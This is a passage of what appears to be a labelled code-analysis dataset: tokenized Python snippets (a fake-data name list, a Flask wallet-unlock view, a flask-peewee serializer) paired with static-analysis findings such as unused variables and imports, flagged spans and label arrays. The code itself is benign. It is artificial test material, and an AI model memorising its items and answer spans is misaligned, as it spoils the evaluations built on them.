"han", "ael", "\"_", ",_", "\"", "Del", "\"_", ",_", "\"", "Bri", "tt", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ben", "edic", "t", "\"_", ",_", "\"", "Mos", "e", "\"_", ",_", "\"", "Hon", "g", "\"_", ",_", "\"", "Lei", "gh", "\"_", ",_", "\"", "Joh", "nso", "n", "\"_", ",_", "\"", "Is", "real", "\"_", ",_", "\"", "Ga", "yle", "\"_", ",_", "\"", "Gar", "ret", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Fau", "sto", "\"_", ",_", "\"", "As", "a", "\"_", ",_", "\"", "Ar", "len", "\"_", ",_", "\"", "Za", "ck", "\"_", ",_", "\"", "Warn", "er", "\"_", ",_", "\"", "Mode", "sto", "\"_", ",_", "\"", "France", "sco", "\"_", ",_", "\"", "Manu", "al", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ja", "e", "\"_", ",_", "\"", "Ga", "ylor", "d", "\"_", ",_", "\"", "Gas", "ton", "\"_", ",_", "\"", "Fil", "ibe", "rto", "\"_", ",_", "\"", "Dea", "nge", "lo", "\"_", ",_", "\"", "Mich", "ale", "\"_", ",_", "\"", "Gran", "vil", "le", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "We", "s", "\"_", ",_", "\"", "Mal", "ik", "\"_", ",_", "\"", "Za", "ck", "ary", "\"_", ",_", "\"", "Tu", "an", "\"_", ",_", "\"", "Nick", "y", "\"_", ",_", "\"", "El", "dri", "dge", "\"_", ",_", "\"", "Cri", "stop", "he", "\"_", ",_", "\"", "Cort", "ez", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Anti", "one", "\"_", ",_", "\"", "Mal", "com", "\"_", ",_", "\"", "Long", "\"_", ",_", "\"", "Kor", "ey", "\"_", ",_", "\"", "Jos", "pe", "h", "\"_", ",_", "\"", "Col", "ton", "\"_", ",_", "\"", "Way", "lon", "\"_", ",_", "\"", "Vo", "n", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ho", "sea", "\"_", ",_", "\"", "Shad", "\"_", ",_", "\"", "San", "to", "\"_", ",_", "\"", "Ru", "dol", "f", "\"_", ",_", "\"", "Ro", "lf", "\"_", ",_", "\"", "Re", "y", "\"_", ",_", "\"", "Ren", "ald", "o", "\"_", ",_", "\"", "Marc", "ell", "us", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Luc", "ius", "\"_", ",_", "\"", "Les", "ley", "\"_", ",_", "\"", "Kr", "isto", "fer", "\"_", ",_", "\"", "Bo", "yc", "e", "\"_", ",_", "\"", "Ben", "ton", "\"_", ",_", "\"", "Man", "\"_", ",_", "\"", "Kas", "ey", "\"_", ",_", "\"", "Je", "well", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ha", "yde", "n", "\"_", ",_", "\"", "Har", "land", "\"_", ",_", "\"", "Arn", "old", "o", "\"_", ",_", "\"", "Ru", "ebe", "n", "\"_", ",_", "\"", "Lea", "ndr", "o", "\"_", ",_", "\"", "Kra", "ig", "\"_", ",_", "\"", "Jer", "rell", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Jer", "omy", "\"_", ",_", "\"", "Ho", "bert", "\"_", ",_", "\"", "Ce", "dri", "ck", "\"_", ",_", "\"", "Ar", "lie", "\"_", ",_", "\"", "Win", "for", "d", "\"_", ",_", "\"", "Wall", "y", "\"_", ",_", "\"", "Patr", "icia", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Lu", "igi", "\"_", ",_", "\"", "Ken", "eth", "\"_", ",_", "\"", "Ja", "cin", "to", "\"_", ",_", "\"", "Gra", "ig", "\"_", ",_", "\"", "Frankl", "yn", "\"_", ",_", "\"", "Ed", "mun", "do", "\"_", ",_", "\"", "Si", "d", "\"_", ",_", "\"", "Port", "er", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Lei", "f", "\"_", ",_", "\"", "Lau", "ren", "\"_", ",_", "\"", "Jer", "am", "y", "\"_", ",_", "\"", "Eli", "sha", "\"_", ",_", "\"", "Buck", "\"_", ",_", "\"", "Willi", "an", "\"_", ",_", "\"", "Vin", "cen", "zo", "\"_", ",_", "\"", "Sho", "n", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mich", "al", "\"_", ",_", "\"", "Ly", "nw", "oo", "d", "\"_", ",_", "\"", "Lin", "dsa", "y", "\"_", ",_", "\"", "Je", "wel", "\"_", ",_", "\"", "Jer", "e", "\"_", ",_", "\"", "Hai", "\"_", ",_", "\"", "El", "den", "\"_", ",_", "\"", "Dor", "sey", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Dar", "ell", "\"_", ",_", "\"", "Bro", "der", "ick", "\"_", ",_", "\"", "Al", "ons", "o", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "RANDOM", "\\u", "PLAN", "T", "\\u", "NAME", "\\u", "SOURCE_", "=_", "[_", "\"", "Ab", "eli", "a", "\"_", ",_", "\"", "Aca", "cia", "\"_", ",_", "\"", "Ace", "r", "\"_", ",_", "\"", "Ace", "ved", "o", "\"_", ",_", "\"", "Af", "ra", "\"_", ",_", "\"", "Ak", "ina", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ala", "le", "h", "\"_", ",_", "\"", "Ala", "ni", "\"_", ",_", "\"", "Al", "der", "\"_", ",_", "\"", "Al", "mond", "\"_", ",_", "\"", "Alt", "he", "a", " ", "\"_", ",_", "\"", "Al", "ys", "sum", "\"_", ",_", "\"", "Ama", "rant", "a", "\"_", ",_", "\"", "Ama", "ry", "lli", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "An", "ita", "\"_", ",_", "\"", "Apri", "cot", "\"_", ",_", "\"", "Aro", "usa", "\"_", ",_", "\"", "Ar", "usa", "\"_", ",_", "\"", "As", "h", "\"_", ",_", "\"", "Asp", "en", " ", "\"_", ",_", "\"", "Ast", "er", "\"_", ",_", "\"", "Ast", "era", "\"_", ",_", "\"", "Av", "ish", "an", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ay", "ame", "\"_", ",_", "\"", "Ay", "la", "\"_", ",_", "\"", "Az", "ale", "a", "\"_", ",_", "\"", "Az", "argo", "l", "\"_", ",_", "\"", "Az", "argo", "on", "\"_", ",_", "\"", "Az", "ari", "n", "\"_", ",_", "\"", "Az", "hand", "\"_", ",_", "\"", "Bab", "uk", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Bah", "ar", "\"_", ",_", "\"", "Bah", "ara", "k", "\"_", ",_", "\"", "Ban", "af", "she", "h", "\"_", ",_", "\"", "Bar", "nac", "le", "\"_", ",_", "\"", "Basi", "l", "\"_", ",_", "\"", "Ba", "y", "\"_", ",_", "\"", "Bee", "ch", "\"_", ",_", "\"", "Be", "gon", "ia", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Bell", "ado", "nna", "\"_", ",_", "\"", "Bir", "ch", "\"_", ",_", "\"", "Black", "berry", "\"_", ",_", "\"", "Blo", "sso", "m", "\"_", ",_", "\"", "Blue", "bell", " ", "\"_", ",_", "\"", "Boo", "ker", "\"_", ",_", "\"", "Bot", "an", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Bra", "mble", "\"_", ",_", "\"", "Br", "yon", "y", "\"_", ",_", "\"", "Bud", "\"_", ",_", "\"", "Bur", "ke", " ", "\"_", ",_", "\"", "Butt", "erc", "up", "\"_", ",_", "\"", "Ca", "ctu", "s", "\"_", ",_", "\"", "Cal", "tha", "\"_", ",_", "\"", "Came", "lai", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Came", "lli", "a", "\"_", ",_", "\"", "Car", "nati", "on", "\"_", ",_", "\"", "Ce", "dar", "\"_", ",_", "\"", "Che", "rise", "\"_", ",_", "\"", "Che", "rr", "y", "\"_", ",_", "\"", "Cin", "nam", "on", "\"_", ",_", "\"", "Cli", "ant", "ha", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Clo", "ver", "\"_", ",_", "\"", "Cos", "mos", "\"_", ",_", "\"", "Cyc", "lame", "n", "\"_", ",_", "\"", "Cy", "press", "\"_", ",_", "\"", "Da", "ffo", "dil", "\"_", ",_", "\"", "Da", "hli", "a", "\"_", ",_", "\"", "Da", "isy", "\"_", ",_", "\"", "Dan", "deli", "on", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Da", "ph", "ne", "\"_", ",_", "\"", "Dia", "nthe", "\"_", ",_", "\"", "Dia", "nth", "us", "\"_", ",_", "\"", "En", "ola", " ", "\"_", ",_", "\"", "Er", "ant", "he", "\"_", ",_", "\"", "Fer", "n", "\"_", ",_", "\"", "Fi", "ore", "nz", "a", "\"_", ",_", "\"", "Fle", "ur", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Fer", "n", "\"_", ",_", "\"", "Fi", "ore", "nz", "a", "\"_", ",_", "\"", "Fle", "ur", "\"_", ",_", "\"", "Flor", "a", "\"_", ",_", "\"", "Free", "sia", "\"_", ",_", "\"", "Fu", "chs", "ia", "\"_", ",_", "\"", "Gar", "deni", "a", "\"_", ",_", "\"", "Gar", "land", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ga", "zan", "ia", "\"_", ",_", "\"", "Ger", "ani", "um", "\"_", ",_", "\"", "Gi", "nger", "\"_", ",_", "\"", "Goo", "se", "berry", "\"_", ",_", "\"", "Gu", "l", "\"_", ",_", "\"", "Ha", "wt", "horn", "e", "\"_", ",_", "\"", "Ha", "zel", "\"_", ",_", "\"", "Hol", "ly", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Hol", "ly", "hoc", "k", "\"_", ",_", "\"", "Hon", "eys", "uc", "kle", "\"_", ",_", "\"", "Hy", "aci", "nth", "\"_", ",_", "\"", "Ir", "is", " ", "\"_", ",_", "\"", "Iv", "y", "\"_", ",_", "\"", "Ja", "cara", "nda", "\"_", ",_", "\"", "Ja", "smi", "ne", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Je", "ssa", "mine", "\"_", ",_", "\"", "Jun", "iper", "\"_", ",_", "\"", "Kal", "ei", "\"_", ",_", "\"", "Lan", "tan", "a", "\"_", ",_", "\"", "Lau", "rel", "\"_", ",_", "\"", "Lei", "lan", "i", "\"_", ",_", "\"", "Li", "cor", "ice", " ", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Lil", "ac", "\"_", ",_", "\"", "Lil", "y", " ", "\"_", ",_", "\"", "Lo", "beli", "a", "\"_", ",_", "\"", "Lot", "us", "\"_", ",_", "\"", "Magn", "oli", "a", "\"_", ",_", "\"", "Mal", "low", " ", "\"_", ",_", "\"", "Man", "dra", "ke", "\"_", ",_", "\"", "Map", "le", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Marg", "uer", "ite", "\"_", ",_", "\"", "Mari", "gold", "\"_", ",_", "\"", "Ma", "yf", "lower", "\"_", ",_", "\"", "Mik", "i", "\"_", ",_", "\"", "Mim", "osa", "\"_", ",_", "\"", "Mul", "berry", "\"_", ",_", "\"", "My", "rtl", "e", " ", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ni", "hal", "\"_", ",_", "\"", "Oli", "ve", "\"_", ",_", "\"", "Pan", "sy", " ", "\"_", ",_", "\"", "Pat", "ien", "ce", "\"_", ",_", "\"", "Pea", "ch", "\"_", ",_", "\"", "Pe", "ony", "\"_", ",_", "\"", "Pep", "permi", "nt", "\"_", ",_", "\"", "Peri", "win", "kle", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Persi", "mmo", "n", "\"_", ",_", "\"", "Pet", "uni", "a", "\"_", ",_", "\"", "Pi", "mpe", "rne", "l", "\"_", ",_", "\"", "Pop", "py", "\"_", ",_", "\"", "Pose", "y", "\"_", ",_", "\"", "Prim", "rose", "\"_", ",_", "\"", "Pump", "kin", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Qui", "nce", "\"_", ",_", "\"", "Rose", "\"_", ",_", "\"", "Rose", "mar", "y", "\"_", ",_", "\"", "Saf", "fro", "n", "\"_", ",_", "\"", "Sag", "e", "\"_", ",_", "\"", "Sha", "mro", "ck", "\"_", ",_", "\"", "Snap", "dragon", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Snow", "drop", "\"_", ",_", "\"", "So", "rre", "l", "\"_", ",_", "\"", "Sun", "flower", "\"_", ",_", "\"", "Swe", "et", " ", "Pea", "\"_", ",_", "\"", "Tan", "sy", " ", "\"_", ",_", "\"", "Thi", "stl", "e", "\"_", ",_", "\"", "Ti", "ger", "-", "lil", "y", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Tru", "ffle", "\"_", ",_", "\"", "Tu", "lip", "\"_", ",_", "\"", "Verb", "ena", " ", "\"_", ",_", "\"", "Vio", "let", "\"_", ",_", "\"", "Wil", "low", "\"_", ",_", "\"", "Ya", "sam", "an", "\"_", ",_", "\"", "Ya", "smi", "n", "\"_", ",_", "\"", "Ya", "smi", "na", "h", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ye", "w", "\"_", ",_", "\"", "Za", "ra", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "RANDOM", "\\u", "STRE", "ET", "\\u", "SUFFIX", "\\u", "SOURCE_", "=_", "[_", "\"", "St", ".\"_", ",_", "\"", "Ave", ".\"_", ",_", "\"", "Bl", "vd", ".\"_", ",_", "\"", "Ln", ".\"_", ",_", "\"", "Ct", ".\"_", ",_", "\"", "Pl", ".\"_", ",_", "\"", "Way", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "RANDOM", "\\u", "EMA", "IL", "\\u", "DOM", "AINS", "_", "=_", "[_", "\"", "example", ".", "com", "\"_", ",_", "\"", "example", ".", "net", "\"_", ",_", "\"", "example", ".", "org", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "\"", "gma", "il", ".", "com", "\",", " ", "\"", "ya", "hoo", ".", "com", "\",", " ", "\"", "hot", "mail", ".", "com", "\",", " ", "\"", "live", ".", "com", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "com", "cast", ".", "net", "\",", " ", "\"", "qwe", "st", ".", "com", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "RANDOM", "\\u", "CITY", "\\u", "SUF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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
nkuttler/flaskwallet/walletapp/views/wallet.py
[ { "content": " def dispatch_request(self, id):\n super(WalletUnlockView, self).dispatch_request(id)\n otpsetting = session.query(Setting).get('otpsecret')\n if otpsetting:\n form = OTPUnlockForm(request.form)\n secret = otpsetting.value\n otp_valid = otp.valid_totp(token=form.otp.data, secret=secret)\n else:\n form = UnlockForm(request.form)\n otp_valid = True\n if request.method == 'POST' and form.validate() and otp_valid:\n flash(\"OTP valid\", \"success\")\n try:\n ret = self.conn.walletpassphrase(form.passphrase.data,\n form.timeout.data)\n flash('Wallet unlocked', 'success')\n return redirect(url_for('wallet.wallet_detail',\n id=self.wallet.id))\n except WalletPassphraseIncorrect:\n flash('Passphrase incorrect', 'error')\n except WalletAlreadyUnlocked:\n flash('Wallet already unlocked', 'error')\n elif request.method == 'POST' and form.validate() and not otp_valid:\n flash(\"OTP invalid\", \"error\")\n return render_template('wallet/wallet/unlock.html', wallet=self.wallet,\n form=form)", "metadata": "root.WalletUnlockView.dispatch_request", "header": "['class', 'WalletUnlockView', '(', 'WalletConnectedBase', ')', ':', '___EOS___']", "index": 437 } ]
[ { "span": "ret ", "start_line": 450, "start_column": 16, "end_line": 450, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Wall", "et", "Unlock", "View_", "(_", "Wall", "et", "Connect", "ed", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "dispatch", "\\u", "request_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Wall", "et", "Unlock", "View_", ",_", "self_", ")_", "._", "dispatch", "\\u", "request_", "(_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "otp", "setting_", "=_", "session_", "._", "query_", "(_", "Setting_", ")_", "._", "get_", "(_", "'", "otp", "secret", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "otp", "setting_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "OT", "PU", "nlo", "ck", "Form_", "(_", "request_", "._", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "secret_", "=_", "otp", "setting_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "otp", "\\u", "valid_", "=_", "otp", "_", "._", "valid", "\\u", "tot", "p_", "(_", "token_", "=_", "form_", "._", "otp", "_", "._", "data_", ",_", "secret_", "=_", "secret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "Unlock", "Form_", "(_", "request_", "._", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "otp", "\\u", "valid_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", "and_", "form_", "._", "validate_", "(_", ")_", "and_", "otp", "\\u", "valid_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flash_", "(_", "\"", "OT", "P", " ", "valid", "\"_", ",_", "\"", "success", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "self_", "._", "conn_", "._", "walle", "tpa", "ssp", "hra", "se_", "(_", "form_", "._", "passphrase_", "._", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "form_", "._", "timeout_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flash_", "(_", "'", "Wall", "et", " ", "unlocked", "'_", ",_", "'", "success", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "redirect_", "(_", "url", "\\u", "for_", "(_", "'", "walle", "t", ".", "walle", "t", "\\u", "deta", "il", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "=_", "self_", "._", "wallet_", "._", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Wall", "et", "Pass", "phrase", "Inco", "rrect", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flash_", "(_", "'", "Pass", "phrase", " ", "incorrect", "'_", ",_", "'", "error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Wall", "et", "Al", "read", "y", "Unlock", "ed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flash_", "(_", "'", "Wall", "et", " ", "alr", "ead", "y", " ", "unlocked", "'_", ",_", "'", "error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "request_", "._", "method_", "==_", "'", "POST", "'_", "and_", "form_", "._", "validate_", "(_", ")_", "and_", "not_", "otp", "\\u", "valid_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flash_", "(_", "\"", "OT", "P", " ", "invalid", "\"_", ",_", "\"", "error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render", "\\u", "template_", "(_", "'", "walle", "t", "/", "walle", "t", "/", "unlock", ".", "html", "'_", ",_", "wallet_", "=_", "self_", "._", "wallet_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "form_", "=_", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
coleifer/flask-peewee/flask_peewee/serializer.py
[ { "content": "import datetime\nimport sys\n\nfrom peewee import Model\nfrom flask_peewee.utils import get_dictionary_from_model\nfrom flask_peewee.utils import get_model_from_dictionary\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Serializer(object):\n date_format = '%Y-%m-%d'\n time_format = '%H:%M:%S'\n datetime_format = ' '.join([date_format, time_format])\n\n\n", "metadata": "root.Serializer", "header": "['module', '___EOS___']", "index": 8 }, { "content": " def convert_value(self, value):\n if isinstance(value, datetime.datetime):\n return value.strftime(self.datetime_format)\n elif isinstance(value, datetime.date):\n return value.strftime(self.date_format)\n elif isinstance(value, datetime.time):\n return value.strftime(self.time_format)\n elif isinstance(value, Model):\n return value.get_id()\n else:\n return value", "metadata": "root.Serializer.convert_value", "header": "['class', 'Serializer', '(', 'object', ')', ':', '___EOS___']", "index": 13 }, { "content": " def clean_data(self, data):\n for key, value in data.items():\n if isinstance(value, dict):\n self.clean_data(value)\n elif isinstance(value, (list, tuple)):\n data[key] = map(self.clean_data, value)\n else:\n data[key] = self.convert_value(value)\n return data", "metadata": "root.Serializer.clean_data", "header": "['class', 'Serializer', '(', 'object', ')', ':', '___EOS___']", "index": 25 }, { "content": " def serialize_object(self, obj, fields=None, exclude=None):\n data = get_dictionary_from_model(obj, fields, exclude)\n return self.clean_data(data)", "metadata": "root.Serializer.serialize_object", "header": "['class', 'Serializer', '(', 'object', ')', ':', '___EOS___']", "index": 35 }, { "content": "class Deserializer(object):", "metadata": "root.Deserializer", "header": "['module', '___EOS___']", "index": 40 }, { "content": " def deserialize_object(self, model, data):\n return get_model_from_dictionary(model, data)", "metadata": "root.Deserializer.deserialize_object", "header": "['class', 'Deserializer', '(', 'object', ')', ':', '___EOS___']", "index": 41 } ]
[ { "span": "import sys", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 10 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "peewee", "_", "import_", "Model_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fla", "sk", "\\u", "peewee", "_", "._", "utils_", "import_", "get", "\\u", "dictionar", "y", "\\u", "from", "\\u", "model_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fla", "sk", "\\u", "peewee", "_", "._", "utils_", "import_", "get", "\\u", "model", "\\u", "from", "\\u", "dictionary_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "date", "\\u", "format_", "=_", "'%", "Y", "-%", "m", "-%", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time", "\\u", "format_", "=_", "'%", "H", ":", "%", "M", ":", "%", "S", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datetime", "\\u", "format_", "=_", "'", " ", "'_", "._", "join_", "(_", "[_", "date", "\\u", "format_", ",_", "time", "\\u", "format_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "convert", "\\u", "value_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "value_", ",_", "datetime_", "._", "datetime_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "._", "strftime_", "(_", "self_", "._", "datetime", "\\u", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "value_", ",_", "datetime_", "._", "date_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "._", "strftime_", "(_", "self_", "._", "date", "\\u", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "value_", ",_", "datetime_", "._", "time_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "._", "strftime_", "(_", "self_", "._", "time", "\\u", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "value_", ",_", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "._", "get", "\\u", "id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clean", 